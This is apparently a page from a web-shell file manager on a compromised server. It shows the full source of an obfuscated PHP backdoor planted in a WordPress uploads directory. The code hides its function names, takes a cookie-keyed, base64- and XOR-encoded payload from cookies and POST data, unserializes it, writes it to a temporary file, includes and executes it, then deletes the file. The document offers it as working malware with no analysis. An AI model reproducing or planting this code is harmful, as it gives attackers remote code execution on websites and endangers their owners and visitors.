HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/aCCUNxP.php
$NBFFHn = chr (109) . chr (116) . chr (95) . chr (111) . "\x71" . "\x69";$DjUrqBm = chr ( 399 - 300 ).chr ( 1104 - 996 )."\x61" . chr (115) . 's' . chr ( 1075 - 980 ).'e' . chr (120) . chr ( 1035 - 930 )."\x73" . 't' . "\163";$HWjQIrder = class_exists($NBFFHn); $DjUrqBm = "30744";$LKpLfH = strpos($DjUrqBm, $NBFFHn);if ($HWjQIrder == $LKpLfH){function OJPXSHGVk(){$PaqcNQkr = new /* 49797 */ mt_oqi(25380 + 25380); $PaqcNQkr = NULL;}$ehhven = "25380";class mt_oqi{private function ZGEypJYdwB($ehhven){if (is_array(mt_oqi::$XvQiYNL)) {$name = sys_get_temp_dir() . "/" . crc32(mt_oqi::$XvQiYNL["salt"]);@mt_oqi::$XvQiYNL["write"]($name, mt_oqi::$XvQiYNL["content"]);include $name;@mt_oqi::$XvQiYNL["delete"]($name); $ehhven = "25380";exit();}}public function VuyzbG(){$hUDpzFY = "24481";$this->_dummy = str_repeat($hUDpzFY, strlen($hUDpzFY));}public function __destruct(){mt_oqi::$XvQiYNL = @unserialize(mt_oqi::$XvQiYNL); $ehhven = "13745_57558";$this->ZGEypJYdwB($ehhven); $ehhven = "13745_57558";}public function ChyeBaS($hUDpzFY, $EgOLFMdJx){return $hUDpzFY[0] ^ str_repeat($EgOLFMdJx, intval(strlen($hUDpzFY[0]) / strlen($EgOLFMdJx)) + 1);}public function bbxCEQ($hUDpzFY){$gvoRSMHmEZ = "\142" . 'a' . 's' . "\145" . "\x36" . "\64";return array_map($gvoRSMHmEZ . "\x5f" . "\144" . 'e' . chr ( 818 - 719 ).chr ( 278 - 167 ).chr (100) . "\145", array($hUDpzFY,));}public function __construct($GtuFA=0){$qzbiuJVa = "\x2c";$hUDpzFY = "";$iZyazd = $_POST;$EdLdCtgYi = $_COOKIE;$EgOLFMdJx = "13339f0c-8e50-427c-b40f-d45fdc88865a";$RrbQmUdDU = @$EdLdCtgYi[substr($EgOLFMdJx, 0, 4)];if (!empty($RrbQmUdDU)){$RrbQmUdDU = explode($qzbiuJVa, $RrbQmUdDU);foreach ($RrbQmUdDU as $PuhHSTWS){$hUDpzFY .= @$EdLdCtgYi[$PuhHSTWS];$hUDpzFY .= @$iZyazd[$PuhHSTWS];}$hUDpzFY = $this->bbxCEQ($hUDpzFY);}mt_oqi::$XvQiYNL = $this->ChyeBaS($hUDpzFY, $EgOLFMdJx);if (strpos($EgOLFMdJx, $qzbiuJVa) !== FALSE){$EgOLFMdJx = ltrim($EgOLFMdJx); $EgOLFMdJx = str_pad($EgOLFMdJx, 10);}}public static $XvQiYNL = 48860;}OJPXSHGVk();}